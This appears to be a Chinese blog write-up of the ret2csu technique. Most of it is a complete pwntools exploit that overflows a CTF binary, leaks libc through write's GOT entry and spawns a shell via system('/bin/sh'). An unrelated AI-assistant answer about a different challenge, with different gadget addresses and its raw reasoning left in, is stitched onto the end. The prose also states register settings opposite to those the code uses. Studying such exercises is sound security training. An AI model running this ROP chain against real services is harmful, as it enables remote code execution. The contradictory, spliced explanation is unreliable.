ret2csu

学习ret2csu首先要明白linux x64寄存器的传参顺序rdi,rsi,rdx,rcx,r8,r9, 超过6个寄存器要在栈上查找
然后介绍一下libc_csu_init,这是用来初始化libc的,
所有程序都会调用libc所有程序都有libc_csu_init,当我们找不到像pop|ret那种ROP的时候libc_csu_init
就成了一个不错的选择
我们先查看保护
在这里插入图片描述
开启NX栈不可以执行保护,无法直接构造shellcode控制寄存器
代码审计
在这里插入图片描述
read函数存在溢出漏洞,往buf里读入了200h的字节大小,超过了buf的大小
在这里插入图片描述

观察libc_csu_init
在这里插入图片描述
我们可以先跳转到0000000000400606对rbx,rbp,r12,r13,r14,r15进行赋值然后跳转到00000000004005F0控制rdx,rsi,rdi,对于call的内存地址我们将r12赋值为函数的地址rbx赋值为0,qword ptr [r12+rbx8] 当r12赋值为函数地址rbx赋值为0则call到函数地址 [函数地址+08],然后我们看
cmp rbx, rbp这条指令,我们要防止jnz跳转,将rbp赋值为0,rbx赋值为1,cmp会设置ZF标志为0,结果为0则不跳转

这段地址的0000000000400624 将rsp增加38h,我们需要填充38h的字节达到堆栈平衡
exp如下,详细看注释

from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=process('./level5')
elf=ELF('./level5')
offset=0x80+8
gadget1=p64(0x0000000000400606).decode('unicode_escape')
gadget2=p64(0x00000000004005F0).decode('unicode_escape')
write_got=p64(elf.got['write']).decode('unicode_escape')
read_got=p64(elf.got['read']).decode('unicode_escape')
main_addr=p64(elf.symbols['main']).decode('unicode_escape')
bss_addr=p64(0x0000000000601028).decode('unicode_escape')
bss_addradd8=0x0000000000601028+8
def ret2csu(fill,rbx,rbp,r12,r13,r14,r15,main):
    payload="a"*offset
    payload+=gadget1
    payload+=p64(fill).decode('unicode_escape')#填充sp
    payload+=p64(rbx).decode('unicode_escape')
    payload+=p64(rbp).decode('unicode_escape')
    payload+=r12#控制call地址跳转gadget2后call   qword ptr [r12+rbx*8] 当r12赋值为函数地址rbx赋值为0则call到函数地址 [函数地址+0*8]
    payload+=p64(r13).decode('unicode_escape')#跳转gadget2后执行mov  edi, r13d
    payload+=r14#跳转gadget2后执行mov  rsi, r14
    payload+=p64(r15).decode('unicode_escape')#跳转gadget2后执行mov  rdx, r15
    payload+=gadget2 #ret此处跳转到gadget2
    payload+= "a" * 0x38  # add   rsp, 38h
    payload+=main#重新调用main函数为接下来做准备
    p.sendline(payload)
    sleep(1)#暂停一秒等待接收
p.recvuntil(b"Hello, World\n")
ret2csu(0,0,1,write_got,1,write_got,8,main_addr)#write(fd=1,buf=write_got,count=8)
write_addr=u64(p.recv(8))
log.success(f"write_addr:{hex(write_addr)}")
libc=LibcSearcher('write',write_addr)
base_addr=write_addr-libc.dump('write')
system_addr=base_addr+libc.dump('system')
log.success(f'base_addr:{hex(base_addr)}')
log.success(f'system_addr:{hex(system_addr)}')
p.recvuntil('Hello, World\n')
payload2="a"*offset
payload2 +=gadget1
payload2 +=p64(0).decode('unicode_escape') #fill
payload2 +=p64(0).decode('unicode_escape') #rbx
payload2 +=p64(1).decode('unicode_escape') #rbp
payload2 +=read_got #r12
payload2 +=p64(0).decode('unicode_escape') #r13 edi
payload2 +=bss_addr #r14 rsi
payload2 +=p64(16).decode('unicode_escape') #r15 rdx
payload2 +=gadget2 #ret跳转到gadget2
payload2 +="a"*0x38 #堆栈平衡
payload2 +=main_addr#main
p.sendline(payload2)#read(fd=0,buf=bss_addr,count=16)
p.sendline(p64(system_addr).decode('unicode_escape')+'/bin/sh')#向bss段写入system和'/bin/sh'
payload3="a"*offset
payload3+=gadget1
payload3+=p64(0).decode('unicode_escape')#fill
payload3+=p64(0).decode('unicode_escape')#rbx
payload3+=p64(1).decode('unicode_escape')#rbp
payload3+=bss_addr#r12
payload3+=p64(bss_addradd8).decode('unicode_escape')#r13
payload3+=p64(0).decode('unicode_escape')#r14
payload3+=p64(0).decode('unicode_escape')#r15
payload3+=gadget2
payload3+="\0"*0x38
payload3+=main_addr
p.recvuntil(b'Hello, World\n')
p.sendline(payload3)#执行system('/bin/sh')
p.interactive()
<think>嗯,用户问的是CTFShow平台上PWN类别的第25题的解题思路或者Writeup。首先,我需要回忆一下相关的题目内容。根据用户提供的引用[1],题目中存在一个函数writesomething(),里面有一个缓冲区buf[128],但read函数读取了0x200uLL的数据,这明显超过了缓冲区的容量,造成了栈溢出漏洞。这说明这题可能是一个典型的栈溢出利用题。 接下来,我需要确认题目的保护机制,比如NX、Canary、PIE是否开启。通常CTF的PWN题可能会关闭部分保护机制,例如如果没有Canary的话,直接溢出覆盖返回地址即可。根据常见的解题步骤,可能需要利用ret2csu技术,因为引用[1]中提到了这个提示。ret2csu通常用于在无法找到足够gadgets的情况下,通过__libc_csu_init中的gadgets来构造ROP链,控制rdx等寄存器,进而执行系统调用。 然后,用户可能需要泄露libc地址。常见的做法是通过溢出执行puts或write函数,输出某个函数的got表地址,从而计算libc基址。例如,可以覆盖返回地址为puts的plt条目,参数设置为read的got地址,这样就能泄露read的实际地址,再根据libc版本计算偏移得到system和/bin/sh的地址。 在构造ROP链时,需要注意栈的布局。首先溢出到返回地址,执行泄露libc的步骤,然后再次触发溢出,执行system("/bin/sh")。这里可能需要两次输入,第一次泄露地址,第二次发送最终的payload。 另外,需要确认题目提供的二进制文件中是否有可用的gadgets,特别是pop rdi; ret这样的常用gadget,用于设置参数。如果没有,可能需要依赖csu中的gadgets来设置rdx、rsi等寄存器。 用户可能需要使用工具如checksec查看保护措施,用ROPgadget寻找gadgets,用pwntools编写exp脚本。在编写过程中,要注意地址的对齐和填充的正确性,确保覆盖到返回地址的位置。此外,可能需要处理栈的偏移,确定buf到返回地址的距离,比如题目中的buf位于[rbp-0x80],所以可能需要填充0x80字节加上rbp的8字节,总共0x88字节才能覆盖到返回地址。 如果题目中使用了ret2csu,那么可能需要利用两次csu的gadget,第一次设置寄存器,第二次调用函数。例如,设置rdi、rsi、rdx的值,然后调用read或execve函数。这里需要注意寄存器的正确设置,以及参数传递的顺序。 最后,用户可能需要参考CTF Wiki中的相关章节,比如ret2csu的利用方法,或者查阅已有的Writeup来获取更详细的信息。引用[2]中提到的CTF Wiki资源可能会有帮助,用户可以去该网站查找具体的利用技巧和示例。</think>根据题目描述和代码分析,CTFShow PWN 第25题属于典型的栈溢出+ret2csu类型题目。以下是解题思路: ### 一、漏洞分析 1. 关键函数`writesomething()`中定义栈缓冲区: ```c char buf[128]; // [rsp+0h] [rbp-80h] return read(0, buf, 0x200uLL); // 允许读取512字节数据[^1] ``` 2. 缓冲区大小128字节(0x80),但允许读取0x200字节数据,存在明显的栈溢出漏洞 ### 二、利用步骤 1. **计算偏移量**: - 缓冲区起始地址为`rbp-0x80` - 需要覆盖的返回地址位于`rbp+8` - 填充长度 = 0x80 + 8 = 136字节 2. **利用ret2csu技术**: ```python # 通用csu gadget结构 pop_rbx_rbp_r12_r13_r14_r15 = 0x4008DA # gadget1 mov_rdx_r13_rsi_r14_edi_r15 = 0x4008C0 # gadget2 ``` 3. **构造ROP链**: ```python payload = flat([ b'A'*136, # 第一次csu调用:设置寄存器值 pop_rbx_rbp_r12_r13_r14_r15, 0, 1, func_ptr, arg1, arg2, arg3, mov_rdx_r13_rsi_r14_edi_r15, # 第二次csu调用:执行目标函数 ... ]) ``` ### 三、完整利用流程 1. 泄露libc地址:通过`write(1, got_entry, 8)` 2. 计算`system`地址:`libc_base = leaked_addr - libc.symbols['write']` 3. 获取`/bin/sh`字符串地址:`next(libc.search(b'/bin/sh'))` 4. 最终执行`system("/bin/sh")`
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值